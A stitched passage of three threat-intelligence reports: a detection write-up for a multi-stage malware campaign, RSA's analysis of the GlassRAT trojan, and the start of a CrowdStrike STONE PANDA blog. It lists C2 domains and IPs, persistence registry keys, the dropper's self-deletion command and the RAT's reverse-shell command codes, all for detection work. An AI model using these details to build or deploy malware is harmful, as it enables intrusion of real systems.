(Country: Luxembourg) 0cdf55626e56ffbf1b198beb4f6ed559 report.pdf (Country: Spain) cf5a5239ada9b43592757c0d7bf66169 EUAG_report.pdf (Country: Belgium) c03bcb0cde62b3f45b4d772ab635e2b0 The 2013 Armenian Economic Association.pdf (Country: Belgium) Figure 5 MD5 checksums for known malicious documents (droppers) 3. Detection of the running malware Due to a large number of compiled samples, there is a high chance that the current version is difficult to detect by signatures. Yet, there are common features in the samples that can be used to identify the malware components. In every sample we checked, the Program Files/Startup contains a file with .lnk extension after installation. This is used to start up the malware after the computer is rebooted. An example of the lnk file created by the malware: The contents of the .lnk files are similar to the below described path and file, but random names are used. The extension of the dll called is generally .tmp or .cat or .db (not sure about full list) and the export function called has a random name. C:\WINDOWS\system32\rundll32.exe C:\DOCUME1\ALLUSE1\APPLIC1\base.cat,JorNgoq The running process of the malware can be pinpointed, e.g., by using ProcessExplorer. The running copies of stage 1 and 2 appear as separated rundll.exe processes. It is very useful to create a memory dump from these running processes, e.g., by using SysInternals ProcessExplorer. On the picture below, the export function name they use is GqOlls. The names seem to follow a pattern: 6 chars long with two upper case letters. A not fully cross-checked information is that during installation the malware will be copied in two copies to the system and the two executables differ. This might mean that the executable modifies itself. For example, we recovered the following two files: md5sum base.cat :113e6fc85317fdd135e3f5f19e6c7a58 base.cat md5sum 6rld.tmp : c786a4cdfe08dbe7c64972a14669c4d1 6rld.tmp where base.cat is the startup file, which is created based on 6lrd.tmp. base.cat is stored in the All users directory, whereas 6lrd.tmp is stored in a users directory, e.g., in the guest user directory as C:\Documents and Settings\guest\Local Settings\Application Data\6rld.tmp This user directory contains at least one more file, update.cmd with a specific content that could be used for detection. E.g., a search for any .cmd files with content TASKKILL /f /IM acro might be a a detection tool of this stage. As for stage 3 of the attack, it is important to note that it is not yet analyized deeply. So once a victim downloads the 300k long piece of code, we dont know what happens with the previous stages, and we have no information about detections once this stage is reached, except the usage of the CC server news.grouptumbler.com. 4. CC communication There are multiple layers of CC communications in the malware. First the malware uses Google search to receive information from its master. Then, it uses the Twitter messaging service looking for the twits of a specific Twitter user. Commands received via this channel trigger the download of stage 2 and stage 3 code from the CC server. We identified the following CC servers delivering stage 2 and stage 3 codes: Attack location CC server CC IP / location path on CC Hungary arabooks.ch 194.38.160.153 / Switzerland /lib/index.php /srch/index.php /forumengine/index.php /events/index.php /groups/[different] Luxembourg artas.org 95.128.72.24 / France /engine/index.php /web/index.php Belgium tsoftonline.com 72.34.47.186 / United States /views/index.php (Multiple) www.eamtm.com 188.40.99.143 / Germany /piwik/web/index.php The CC server used by stage 3 of the malware is news.grouptumbler.com and it is located in Panama. At the time of this writing, port 80 seems to be closed on this server. Address and open port information is below: news.grouptumbler.com/news/feed.php IP: 200.63.46.23 Interesting ports on 200.63.46.23: Not shown: 65524 closed ports PORT STATE SERVICE 22/tcp open ssh 111/tcp open rpcbind 920/tcp open unknown 1437/tcp open tabula 46436/tcp open unknown Figure 6 Stage 3 CC server information 4.1. Detection of CC communications Basic detection can be based on 3 queries that are initiated by the victim computers within seconds. www.google.com port TCP/80 - HTTP twitter.com port TCP/443 - SSL www.geoiptool.com port TCP/80 - HTTP Figure 7 Initial web page and possibly DNS queries issued by the malware Known search strings in Google search (see below) can also be used to detect the malware. Unfortunately, these strings are most likely unique to each CC server or victim, thus unknown samples might use other strings, but possibly with the same length. lUFEfiHKljfLKWPR HkyeiIDKiroLaKYr lUFEfiHKDroLaKYr Figure 8 Google search strings used by the malware The malware also sends a query to the geoiptool. An example is shown below: GET / HTTP/1.1 User-Agent: Mozilla/5.0 (compatible MSIE 7.0 Windows NT 6.0 en-US Trident/5.0) Host: www.geoiptool.com Figure 9 Geoip lookup query sample Agent string might be different for each query 4.2. Initial CC communication Initial communications with the stage 2/3 delivery CC servers (such as arabooks.ch) can be used to develop detection signatures as follows: The malware retrieves the URL using a Twitter query as described earlier. Then, we can observe the first query from the victim towards the stage 2/3 delivery CC server. This query contains pure HTTP traffic on port 80 to the server following the template below. GET /original/path/shortname/index.php?eaaaaaaaaa where: shortname can be a number of strings, generally human readable (e.g. lib, engine, forum, forumengine etc.) e is not constant, can be anything, but generally 1-2 letters long aaaaaaaaa stands for some Base64-like text (see details below) the servers used are assumed to be legitimate sites, just hacked by the attackers. Based on this format, we can detect a valid query as follows: The name of the 1st GET parameter should be discarded this means e is not important we saw only one GET parameter, queries with multiple parameters are likely not used For detection, the Base64-like string aaa should be first modified as follows: - should be replaced by _ should be replaced by / This results in correct Base64 encoding, which can be decoded with library functions such as base64_decode. After decoding, a string of data, partially binary will be available. Parts are separated by the delimiter character . The format and a numerical example are below: binary data ( 100 bytes)numerical ID ( 10 digits)version number e.g., binary data55511155511.13 As the binary data itself may contain the character, parsing should start from the end (i.e., the numerical ID starts from the second character from the end). In additional, the ID length may vary (not fully confirmed), but it seems to be around 10 digits. Finally, the version number always follows the pattern 1digitdottwo digits, e.g., 1.1X 3.1X. The correct decoding of the HTTP query information should be enough to quickly develop possible IDS-based detections. As we have seen, detection is complicated, but not impossible. The following is the summary of potential detection steps: Check if there is only one GET parameter (check if path is not empty and contains index.php)(possible, but not confirmed) convert the Base64-like GET parameter string into real Base64 encoding, and check if it decodes correctly check if the decoded string has at least two delimieter character in it check if after the last but first character, there are digits only check if the version part of the string follows the format 1.11 or similar The header sent is fairly standard, but we include one example nonetheless: 0x00d0: 2e31 0d0a 4163 6365 7074 3a20 2a2f 2a0d .1..Accept:./. 0x00e0: 0a41 6363 6570 742d 456e 636f 6469 6e67 .Accept-Encoding 0x00f0: 3a20 677a 6970 2c20 6465 666c 6174 650d :.gzip,.deflate. 0x0100: 0a55 7365 722d 4167 656e 743a 204d 6f7a .User-Agent:.Moz 0x0110: 696c 6c61 2f34 2e30 2028 636f 6d70 6174 illa/4.0. (compat 0x0120: 6962 6c65 3b20 4d53 4945 2037 2e30 3b20 ible. MSIE.7.0. 0x0130: 5769 6e64 6f77 7320 4e54 2035 2e31 3b20 Windows. NT.5.1. 0x0140: 5472 6964 656e 742f 342e 303b 2049 6e66 Trident/4.0.Inf 0x0150: 6f50 6174 682e 3129 0d0a 486f 7374 3a20 oPath.1)..Host:. 0x0160: XXXX XXXX XXXX XXXX XXXX XX0d 0a43 6f6e XXXXXXXXXXX..Con 0x0170: 6e65 6374 696f 6e3a 204b 6565 702d 416c nection:.Keep-Al 0x0180: 6976 650d 0a0d 0a ive.... Figure 10 Other HTTP header values in a CC query The used Agent strings vary significantly across queries, therefore they cannot be really used for detection: Mozilla/4.0(compatibleMSIE6.0WindowsNT5.1) Mozilla/4.0(compatibleMSIE6.0WindowsNT5.1SV1) Mozilla/4.0(compatibleMSIE6.0WindowsNT5.1SV1InfoPath.2) Mozilla/4.0(compatibleMSIE7.0WindowsNT5.1Trident/4.0.NETCLR1.1.4322 .NETCLR2.0.50727.NETCLR3.0.4506.2152.NETCLR3.5.30729InfoPath.2) Mozilla/4.0(compatibleMSIE7.0WindowsNT5.1Trident/4.0.NETCLR2.0.50727 .NETCLR3.0.4506.2152.NETCLR3.5.30729InfoPath.2) Mozilla/4.0(compatibleMSIE7.0WindowsNT5.1Trident/4.0.NET4.0C.NETCLR 1.1.4322.NETCLR2.0.50727.NETCLR3.0.4506.2152.NETCLR3.5.30729.NET4.0E InfoPath.3) Mozilla/4.0(compatibleMSIE7.0WindowsNT5.1Trident/4.0GTB7.4InfoPath.1 .NETCLR3.0.4506.2152.NETCLR3.5.30729.NETCLR1.0.3705.NETCLR1.1.4322 .NET4.0E.NET4.0C.NETCLR2.0.50727) Mozilla/4.0(compatibleMSIE7.0WindowsNT5.1Trident/4.0InfoPath.2) Mozilla/4.0(compatibleMSIE7.0WindowsNT6.1Trident/4.0GTB7.4SLCC2.NET CLR2.0.50727.NETCLR3.5.30729.NETCLR3.0.30729MediaCenterPC6.0InfoPa th.3.NET4.0C.NET4.0E) Mozilla/4.0(compatibleMSIE7.0WindowsNT6.1Trident/5.0SLCC2.NETCLR2.0 .50727.NETCLR3.5.30729.NETCLR3.0.30729) Mozilla/4.0(compatibleMSIE7.0WindowsNT6.1Trident/5.0SLCC2.NETCLR2.0 .50727.NETCLR3.5.30729.NETCLR3.0.30729InfoPath.3MediaCenterPC6.0.N ET4.0C.NET4.0E) Mozilla/4.0(compatibleMSIE7.0WindowsNT6.1Trident/5.0SLCC2.NETCLR2.0 .50727.NETCLR3.5.30729.NETCLR3.0.30729MediaCenterPC6.0.NET4.0C.NET 4.0E) Mozilla/4.0(compatibleMSIE7.0WindowsNT6.1Trident/5.0SLCC2.NETCLR2.0 .50727.NETCLR3.5.30729.NETCLR3.0.30729MediaCenterPC6.0.NET4.0CInfo Path.2.NET4.0E) Mozilla/4.0(compatibleMSIE7.0WindowsNT6.1Trident/5.0SLCC2.NETCLR2.0 .50727.NETCLR3.5.30729.NETCLR3.0.30729MediaCenterPC6.0CMDTDF.NET4. 0CInfoPath.3) Mozilla/4.0(compatibleMSIE7.0WindowsNT6.1Trident/5.0SLCC2.NETCLR2.0 .50727.NETCLR3.5.30729.NETCLR3.0.30729MediaCenterPC6.0InfoPath.2) Mozilla/4.0(compatibleMSIE7.0WindowsNT6.1WOW64Trident/5.0SLCC2.NET CLR2.0.50727.NETCLR3.5.30729.NETCLR3.0.30729MediaCenterPC6.0.NET4.0 C.NET4.0E) Mozilla/4.0(compatibleMSIE7.0WindowsNT6.1WOW64Trident/5.0SLCC2.NET CLR2.0.50727.NETCLR3.5.30729.NETCLR3.0.30729MediaCenterPC6.0.NET4.0 C.NET4.0EBRI/2InfoPath.3) Mozilla/4.0(compatibleMSIE7.0WindowsNT6.1WOW64Trident/5.0SLCC2.NET CLR2.0.50727.NETCLR3.5.30729.NETCLR3.0.30729MediaCenterPC6.0.NET4.0 C.NET4.0EInfoPath.2) Mozilla/4.0(compatibleMSIE7.0WindowsNT6.1WOW64Trident/5.0SLCC2.NET CLR2.0.50727.NETCLR3.5.30729.NETCLR3.0.30729MediaCenterPC6.0.NET4.0 C.NET4.0EInfoPath.3) Mozilla/4.0(compatibleMSIE8.0WindowsNT5.1Trident/4.0.NETCLR2.0.50727 .NETCLR3.0.04506.648.NETCLR3.5.21022.NETCLR3.0.4506.2152.NETCLR3.5.3 0729InfoPath.2) Mozilla/5.0(WindowsNT5.1rv:19.0)Gecko/20100101Firefox/19.0 Mozilla/5.0(WindowsNT6.1rv:10.0)Gecko/20100101Firefox/10. Figure 11 Agent strings used in CC comms might be partial or wrong not useful for detection 4.3. Other indicators of CC communication: Google and Twitter queries The Google search step also uses different agent strings: GET /search/?qlUFEfiHKDroLaKYr HTTP/1.1 304 211 - Opera/7.0 (compatible MSIE 7.0 Windows NT 6.0 en-US WOW64) GET /search?qlUFEfiHKDroLaKYr HTTP/1.1 301 588 - Opera/5.0 (Windows U Windows NT 5.2 en-US Trident/4.0) GET /search?qlUFEfiHKDroLaKYr HTTP/1.1 301 588 - Opera/4.0 (Windows NT 5.1 en-GB Trident/4.0) Figure 12 Some Google search agent strings GET /EdithAlbert11 HTTP/1.1 404 1229 - Mozilla/6.0 (X11 Linux x86_64 en-GB Trident/5.0) GET /ifsWcj9a HTTP/1.1 404 529 - Mozilla/5.0 (compatible MSIE 6.0 Windows NT 5.0 en-GB WOW64 Trident/5.0) GET /EdithAlbert11 HTTP/1.1 404 644 - Mozilla/5.0 (Windows NT 5.1 en-GB Trident/4.0) GET /ifsWcj9a HTTP/1.1 404 529 - Mozilla/5.0 (compatible MSIE 6.0 Windows NT 5.0 en WOW64 Trident/5.0) GET /EdithAlbert11 HTTP/1.1 404 1229 - Mozilla/7.0 (compatible MSIE 7.0 Windows NT 6.0 en-GB WOW64) ] GET /ifsWcj9a HTTP/1.1 404 510 - Opera/5.0 (compatible MSIE 9.0 Windows NT 6.1 en-GB SV1) Figure 13 Twitter search samples 443/SSL The CC servers response if it sends encrypted files is a GIF file containing a small icon, and after that, the malware: 0x0020: XXXX XXXX XXXX XXXX 4749 4638 3961 2000 XXXXXXXXGIF89a.. 0x0030: 2000 f700 00bc 5514 faa9 52eb 851c f39b ......U...R..... 0x0040: 50ee 934d bd4e 05eb 8422 1a20 32ea b279 P..M.N.....2..y 0x0050: 973f 06e9 7522 fdf9 f5d8 6c40 a148 10f9 .?..u....l.H.. 0x0060: e5d4 181d 2df5 9f4a 402c 29ec 8a46 fdf5 ....-..J,)..F.. 0x0070: ecef caa6 e37d 46dc 5d22 c152 09dc 8d49 .....F.].R...I 0x0080: eccb b4f4 dac3 fa91 21f8 8e22 c15a 19f4 ...........Z.. 0x0090: 871b fb9f 3bfb 972e f1cb b3e9 ab6c f289 ............l.. 0x00a0: 31f9 9837 0d0f 17e9 8446 7333 0bfb e8d3 1..7.....Fs3.... Figure 14 GIF File header sent back by the CC server For stage 3 (i.e., id.gif files), the file downloaded has a larger size (300KB). It also begins with a GIF header, but that header is only 13 bytes long, and then starts the encrypted executable, as shown below: Examples for twits containing the URL of the CC server are shown below: The weather is good today. Sunny uriwp07VkkxYt3Mne5uiDkz4Il/Iw48Ge/EWg Albert, my cousin. He is working hard. uriwp07VkkxYmfNkwN2nBmx4ch/Iu2cGJow39HbphL My native town was ruined by tornado. uriwp07VkkxYt3Md/JOnLhzRL2FJjY8l2It Figure 15 Known twitter answers for CC discovery The twitter information is currently not very useful for content based detection, as it is downloaded through SSL connection, and therefore, IDS rules can only be applied if some SSL proxy is used. An interesting observation is that this user follows 4 partners, most likely for deception. RSA Research PEERING INTO GLASSRAT A Zero Detection Trojan from China Authors: Kent Backman, primary research Jared Myers, contributing Chris Ahearn, contributing Maor Franco, contributing Peter Beardmore, contributing November 23, 2015 2 Content and liability disclaimer This Research Paper is for general information purposes only, and should not be used as a substitute for consultation with professional advisors. EMC has exercised reasonable care in the collecting, processing, and reporting of this information but has not independently verified, validated, or audited the data to verify the accuracy or completeness of the information. EMC shall not be responsible for any errors or omissions contained on this Research Paper, and reserves the right to make changes anytime without notice. Mention of non-EMC products or services is provided for informational purposes only and constitutes neither an endorsement nor a recommendation by EMC. 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November 23, 2015 3 EXECUTIVE SUMMARY .......................................................................... 4 OVERVIEW ........................................................................................... 4 BACKGROUND ...................................................................................... 4 DROPPER SUBMISSIONS FROM CHINA ................................................. 6 UNDER THE RADAR FOR YEARS, TARGETS CHINESE NATIONALS OR ORGANIZATIONS ................................................................................. 7 GLASSRAT MALWARE ANALYSIS, DESIGNED FOR DECEPTION .............. 8 GLASSRAT CAPABILITIES AND FUNCTIONS ....................................... 10 COMMAND AND CONTROL .................................................................. 11 APPENDIX .......................................................................................... 13 PRIVATE ANNEX ................................................................................. 13 RSA Research EXECUTIVE SUMMARY RSA Research has discovered a zero detection Remote Administration Tool (RAT) dubbed GlassRAT, signed with a certificate which appears to have been misappropriated from a popular software developer in China. This malware has gone under the radar for what may be several years. Telemetry and limited anecdotal reports indicate that Chinese nationals associated with large multinational corporations may be the targets of campaigns employing GlassRAT. While transparent to most antivirus products, GlassRAT can be detected using network forensic or endpoint tools such as RSA Security Analytics and/or RSA ECAT. Also presented is evidence that GlassRATs command and control (C2) infrastructure has some historical overlap with other malicious malware campaigns that have previously targeted Asia-based organizations of geopolitical and strategic importance. OVERVIEW When a cyber espionage campaign is identified the threat actors tools, techniques, and procedures revealed the malware now detectable by antivirus- What do the bad guys do next? History shows us that this is just part of the process. Once operations or campaigns are uncovered, the attackers have contingency plans, which can include minimally substituting only the tools in their kit that may have been detected and/or perhaps finding new victims, who are less alert to their threat. There maybe no need to change the Command and Control infrastructure or their techniques. In very large cyber intelligence organizations, which carry a diverse list of objectives and targets, there is likely to be shared leadership, policies and procedures, infrastructure, and ample sources and libraries of advanced hacking tools (many still unexposed to researchers)- all servicing subordinate organizations with far narrower objectives. GlassRAT has (briefly) shared C2 infrastructure with some large campaigns, identified earlier in the decade, that targeted geopolitical organizations in the Asia-Pacific region. The telemetry of GlassRAT and limited forensic samples suggest that targeting is narrowly focused. Thus, what makes GlassRat notable is not what it is, but perhaps rather where it came from, who is using it, and for what purpose. Spoiler alert: this paper does not offer a conclusion. Rather, we believe the limited facts are worth consideration, particularly when there may-well be many more undetected / undetectable samples in the wild. Detecting the infrastructure and resulting behavior of these tools is perhaps more important when preventive defenses consistently fail. It is also crucially important to recognize the potential origins of these attacks, when detected, to better understand risks to the organization. RSA Research looked for any similarities with other previously described malware, and exploitation campaigns. While several code similarities were found with other malware such as Taidoor1 and Taleret2, the most interesting overlap with GlassRAT might be in the C2 infrastructure shared with geopolitical campaigns (outlined below), which were reported earlier in this decade. BACKGROUND GlassRAT appears to have operated, stealthily, for nearly 3 years in some environments. Evidence indicates that Chinese nationals associated with large multinational corporations in and outside of China may be the targets of campaigns employed by GlassRat. GlassRat employs many of the telltale signs of good, at least very effective, malware design. Its dropper is signed using a compromised certificate from a trusted and well-known publisher.3 It deletes itself after successfully delivering its payload. Once installed, the malicious DLL file persists below the radar of endpoint antivirus. GlassRat first came to the attention of RSA Research in February 2015 when the RSA Incident Response team, which specializes in responding to advance threat intrusions in large enterprise networks, detected malicious traffic while investigating an incident at a multi-national firm based in the U.S. A dll sample was discovered, using RSA ECAT, on the PC of a Chinese national. There was no evidence of any dropper. Retrospective analysis on Virus Total revealed a sample submitted from Hong Kong in December 2014, which exhibited matching characteristics, but a different hash. This 1 http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf 2 https://www.fireeye.com/blog/threat-research/2013/09/evasive-tactics-taidoor-3.html 3 The Certificate Authority (CA) that issued this certificate was informed and subsequently revoked the likely stolen code-signing certificate, after independently confirming the maliciousness of the signed code. 5 prompted RSA to create a Yara signature which was then fed into the RSA Research hunting capability, as well as to ECAT in the client environment. That signature alerted several months later, in September 2015, from samples appearing to originate in China. These included two droppers, and malware that was functionally identical but with different C2. (The domains were different, but the IPs overlapped with the previous samples for a period of time.) RSA Research has linked GlassRAT C2 to other malicious malware C2 infrastructure by way of malicious domains that pointed to common hosting. In September 2012, Dell SecureWorks reported on a cyber espionage campaign that used a RAT named Mirage (also known as MirageFox).4 PlugX C2 hosts in these and other campaigns were enumerated56 by Haruyama and Suzuki at BlackHat Asia in 2014. The threat actor group who controlled alternate009.com created C2 host records for PlugX malware targeting Mongolian government78. That same threat actor group who controlled alternate009.com created C2 host records for Mirage malware9 targeting the Philippines military10. The malicious domain mechanicnote.com was used for C2 by several different types of malware, including Mirage malware11 used for targeting the Philippine military. This malware with mechanicnote.com domain C2 used a controller on the same IP address and server also used for GlassRAT malware C2 (101.55.x.x, bits.foryousee.net). The domain news-google.net employed by MagicFire malware12 C2 targeting the Philippine military, also used a malware controller hosted on the IP address 173.231.x.x, which was used for Mongolia-targeting PlugX malware13 employing the malicious cainformations.com domain. Another mecahnicnote.com C2 URL used the same IP address, 198.40.x.x, as did malware using cainformations.com and alternate009.com domains for C2. These domains in turn are tied directly to Magicfire, Mirage and PlugX malware in several malicious campaigns. To summarize the GlassRAT C2 infrastructure connections, we have GlassRAT connected to Mirage malware C2 hosting, which in turn is connected to Magicfire, PlugX and Mirage malware targeting the Philippine military and the Mongolia government. The temporal overlap window in shared infrastructure was relatively short implying a possible operational security slip by the actors behind GlassRAT if not deliberate sharing of infrastructure. The infrastructure overlap traced by RSA Research can be seen in detail in the attached C2 overlap graphic in the Appendix. 4 http://www.secureworks.com/cyber-threat-intelligence/threats/the-mirage-campaign/ 5 https://www.blackhat.com/docs/asia-14/materials/Haruyama/Asia-14-Haruyama-I-Know-You-Want-Me-Unplugging-PlugX.pdf 6 http://pastebin.com/B2jNMrM8 7 https://www.threatconnect.com/khaan-quest-chinese-cyber-espionage-targeting-mongolia/ 8 http://pastebin.com/B2jNMrM8 9 https://www.virustotal.com/en/file/421f4c83898ff3ae9b2a94621140ef770888a8a0914b163cdae4690433173899/analysis/ 10 http://blog.trendmicro.com/trendlabs-security-intelligence/christmas-themed-malware-starts-to-jingle-all-the-way/ 11 https://www.virustotal.com/en/file/91279f578d2836ea679ae9578068cb70810fb781faf6d7c03c3212aa509f3e7b/analysis/ 12 https://www.virustotal.com/en/file/2ee38b14a570f693c093a53c53c6d10234fb11cfb7318022190cdb8c96d73b35/analysis/ 13 http://pastebin.com/B2jNMrM8 6 DROPPER SUBMISSIONS FROM CHINA As discussed above, RSA Research was first alerted to some specific zero detection malware by the RSA Incident Response services team. Also notable is that the first observed sample14 of this zero detection malware may have been deployed since September of 2012, if the compile time (Figure 1) is any indicator. We dont know if there is any connection between the compilation of GlassRAT and the reports of malware outlined above, much occurring in roughly the same timeframe. Figure 1 Compilation timestamp of first known sample of GlassRAT malware, appearing on VirusTotal in September of 2014. The indicators (see GlassRAT Yara signature in appendix) were fed into the RSA Research hunting capability. Months later RSA Research was alerted to two samples of the GlassRAT malware installer program or dropper. Both of these dropper samples were not detected by static analysis routines of 57 different Antivirus vendors (Figure 2) on the VirusTotal website. Figure 2 Zero Antivirus detection ratio of GlassRAT dropper The two GlassRAT malware dropper samples were functionally identical. One of the samples was uploaded to VirusTotal about four hours before the next dropper15. The second GlassRAT dropper for which RSA Research was alerted16 was signed with a valid code-signing certificate associated with a Beijing-based software developer. One particular application associated with this developer has over half a billion users worldwide, according to the company. 14 https://www.virustotal.com/en/file/89317809806ef90bb619a4163562f7db3ca70768db706a4ea483fdb370a79ede/analysis/ 15 https://www.virustotal.com/en/file/c11faf7290299bb13925e46d040ed59ab3ca8938eab1f171aa452603602155cb/analysis/ 16 https://www.virustotal.com/en/file/30d26aebcee21e4811ff3a44a7198a5c519843a24f334880384a7158e07ae399/analysis/ 7 UNDER THE RADAR FOR YEARS, TARGETS CHINESE NATIONALS OR ORGANIZATIONS Also notable is that the first publically accessible sample of this zero-detection malware (Figure 3) may have been in the wild since September of 2012, if the compile time is any indicator. RSA Research has no reason to suspect that the compile date was forged. Additionally, RSA has learned through telemetry data and limited anecdotal reports that GlassRAT may principally be targeting Chinese nationals or other Chinese speakers, in China and elsewhere, since at least early 2013. The samples uploaded on 24 September 2015 appear to be the first known instance of the dropper/installer files. Figure 3 First sample of GlassRAT known in the wild The absence of an identified dropper in public malware databases prior to September 2015 may explain why the GlassRAT Trojan has maintained a low profile with AV vendors since its first appearance on VirusTotal in December of 2014 (Figure 4). Figure 4 First submission date of identified GlassRAT malware as per VirusTotal Figure 5 shows some of the code-signing certificate details, with the name of the software developer redacted. 8 Figure 5 GlassRAT signed file metadata At the time of this writing, the malware has been shared with Symantec and Adobe, who were indirectly effected because of the Adobe trademark and the Symantec/Verisign certificate. As more vendors are made aware of this malware, RSA Research believes the detection ratio will increase from the near zero ratio at the time of this writing. GLASSRAT MALWARE ANALYSIS, DESIGNED FOR DECEPTION RSAs Research has analyzed the GlassRAT trojan and determined that it is a simple but capable RAT with reverse shell as well as other typical capabilities of RATs, such as file transferring and process listing. The GlassRAT dropper uses the trademarked icon of Adobe Flash player, and was named Flash.exe (Figure 6) when it was uploaded to VirusTotal from an IP address, likely in the Peoples Republic of China on September 17, 2015. Figure 6 GlassRAT dropper as viewed in Windows Explorer Double clicking on the flash.exe files causes the dropper to launch. The GlassRAt malware installation is as follows: 1. Dropper (flash.exe) writes the GlassRAT DLL to the ProgramData folder 2. Dropper runs the DLL file using the built-in Windows utility rundll32.exe 3. GlassRAT DLL file modifies the run key for logon persistence with user-level permissions with the following registry key. HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Update 4. the dropper deletes itself with and embedded command: cmd.exe /c erase /F s, 9 While the DDL file is actually written to the root of C:\ProgramData the registry entry points to the legacy junction in Windows Vista and later C:\ProgramData\Application Data\ as would be shown in the Microsoft SysInternals Autoruns tool. Figure 7 GlassRAT non-privileged persistence as viewed through the Autoruns tool Manually bypassing UAC with a right-click reveals metadata associated with the dropper (Figure 8). Figure 8 UAC pop-up if invoked with right click and Run as administrator The program name text presented in the UAC dialog box is identical to the name of the legitimate 500 million-user application produced by the owner of the certificate. In the case of installation with privileged user rights such as might be obtained by an exploit or particularly good social engineering technique, persistence would consist of installation as an unused service (such as the RasAuto service in Figure 9), which is commonly a disabled-by-default service on ordinary Windows user/client PCs. HKLM\System\CurrentControlSet\Services c:\programdata\application data\updatef.dll Figure 9 GlassRAT persistence mechanism if installed using administrative privileges The timestamp on the DLL reflects the compile date of the binary. RSA Research found samples of GlassRAT with three unique C2 configurations (Table 1). Static analysis of these GlassRAT DLLs revealed that the C2 host configuration is obfuscated in all of the samples using a simple XOR technique, utilizing 0x01 as the one-byte key. The most recent sample used URLs for C2, other samples used URLs in combination with a hard coded IP address (perhaps as a backup), and yet another GlassRAT sample we found used only a single IP address with no URLs. The C2 port for each specified C2 node is stored as a packed string and can be readily decoded with a simple script. 10 GlassRAT DLL MD5 Obfuscated C2 hosts(s) C2 hosts XOR decoded with 0x01 5c17395731ec666ad0056d3c88e99c4d 003/064/50/60 112.175.x.x e98027f502f5acbcb5eda17e67a21cdc chur/gnsxntrdd/odu 012/31/084/353 bits.foryousee.net 103.20.x.x 59b404076e1af7d0faae4a62fa41b69f py/strdsr/bnl ly/strdsr/bnl yy/strdsr/bnl qx.rausers.com mx.rausers.com xx.rausers.com Table 1 Three different GlassRAT C2 host configurations found in the wild by RSA Research GLASSRAT CAPABILITIES AND FUNCTIONS GlassRAT provides reverse shell functionality to an infected victim. The communication contains a handshake between the attacker and the victim. The sample will send the hard coded value 0x cb ff 5d c9 ad 3f 5b a1 54 13 fe fb 05 c6 22, the response from the C2 is then compared with the value 0x3f5ba154 and then the subsequent commands are a series of two byte codes. The malware performs a sanity check to make sure that the low byte of the two-byte combinations is 17 (0x11) or less. A QWORD is used to track directionality, and a DWORD is used to delimit data size. Control data is then passed to and from GlassRAT in the clear, such that system information and Windows command shell output would be readily observable in network traffic. GlassRAT initially accepts two primary commands (both with a set of sub commands) from its controller which are as follows: 0x01: Provides/Enumerates system information from the victim host 0x02: Native Command and reverse shell communications and output. The initial beacon and handshake of controller-initiated C2 will pass the IP address of the victim to the GlassRAT controller. However, this was not observed in our dynamic analysis, suggesting that it requires manual command from the C2 operator. Perhaps such commands are performed by the operator only if a connection by a nosy researcher has been ruled out. When the 0x01 primary command is issued the malware is configured with the following subcommands, which are in red. 0x01 01 C2 request for System Information 0x01 02 Victim response to request for system information 0x01 03 C2/Victim keep alive 0x01 06 C2 Read C:\ProgramData\off.dat When the 0x02 primary command is issued the malware is configured with the following subcommands. Not all of the 17 possibilities are utilized in the samples that were analyzed, and this could allow for future expansion of the malwares capabilities by its author(s). 0x02 01 C2 Cmd command 0x02 02 Victim Response from cmd commands 0x02 03 C2 initiate cmd.exe pipe/thread 0x02 04 C2 kill cmd pipe/thread 0x02 05 C2 execute file/start process 0x02 06 Not Used/present 0x02 07 Not Used/present 0x02 08 Victim response to file download File not found 0x02 09 Not Used/present 0x02 0A Not Used/present 0x02 0B C2 command to get handle information 0x02 0C Download file from Victim 0x02 0D Victim response to file download File transmission 11 0x02 0E Upload/write file to Victim 0x02 0F Not Used/present 0x02 10 C2 command to get handle information 0x02 11 Create process on Victim 0x02 12 Victim response to file upload COMMAND AND CONTROL To perform dynamic analysis on the new dropper, RSA Research leveraged RSA Security Analytics (Figure 10) and RSA ECAT to quickly gather indicators and forensic details about the GlassRAT malware. Figure 10 GlassRAT C2 activity in RSA Security Analytics RSA ECAT (Figure 11) reveals that the Trojan is loaded as RasAuto service (via svchost.exe network service process) when installed with administrative privileges, and Figure 12 indicates detection by RSA ECAT when installed with non-privileged credentials (rundll32.exe running the GlassRAT DLL). Figure 11 GlassRAT (administrative install) C2 as detected by RSA ECAT 12 Figure 12 GlassRAT (user-level install) C2 as detected by RSA ECAT Analysts wishing to leverage RSA ECAT to find RATs including GlassRAT in their enterprise networks may want to refer to the technical whitepaper Catching the R.A.T. with ECAT17 presented at RSA Charge by Justin Lamarre. RSA Security Analytics reveals connections to following host aliases, which as of the time of this writing, resolve to the same IP address: 115.144.x.x in South Korea. The GlassRAT connects with the following string in the handshake. cb ff 5d c9 ad 3f 5b a1 54 13 fe fb 05 c6 22 The handshake protocol has been incorporated into a parser for RSA Security Analytics (Figure 13) that is included in this reports annex, as well as on RSA Live. Figure 13 GlassRAT C2 parser in action on RSA Security Analytics Even without the parser (typical with a protocol-abusing raw socket connection) RSA Security Analytics flags on unknown service over http port and unknown service over ssl port (Figure 14), cluing the security investigator to the probability that the traffic is malicious. 17 http://charge.rsa.com/wp-content/uploads/2015/09/Finding-The-R.A.T-With-ECAT.pdf 13 In each case, the Trojan dropper installed the DLL with the file pointer hard coded to be 12 megabytes in size. Thus, although the functional part of the GlassRAT DLL is only 16kb or so in size, the file size shown on disk is much larger (Figure 15). Figure 15 GlassRAT DLL takes 11MB on disk, but consists of mostly null data bytes APPENDIX Campaign C2 overlap graphic Malware hashes C2 infrastructure (some IP addresses redacted) GlassRAT Yara signature PRIVATE ANNEX Unredacted C2 infrastructure Unredacted campaign C2 overlap graphic GlassRAT C2 decoder script (RSA customers and vetted industry partners can have access to the private annex by emailing conopsRSA.com.) Figure 14 GlassRAT protocol abuse identified by Security Analytics Adam Kozy August 30, 2018 Two Birds, One STONE PANDA crowdstrike.com/blog/two-birds-one-stone-panda Introduction In April 2017, a previously unknown group calling itself IntrusionTruth began releasing blog posts detailing individuals believed to be associated with major Chinese intrusion campaigns. Although the groups exact motives remain unclear, its initial tranche of information exposed individuals connected to long-running GOTHIC PANDA (APT3) operations, culminating in a connection to the Chinese firm Boyusec ( ) and, ultimately, Chinese Ministry of State Security (MSS) entities in Guangzhou. Recently, in July and August 2018, IntrusionTruth has returned with new reporting regarding actors with ties to historic STONE PANDA (APT10) activity and has ultimately associated them with the MSS Tianjin Bureau (). Though CrowdStrike Falcon Intelligence is currently unable to confirm all of the details provided in these most recent posts with a high degree of confidence, several key 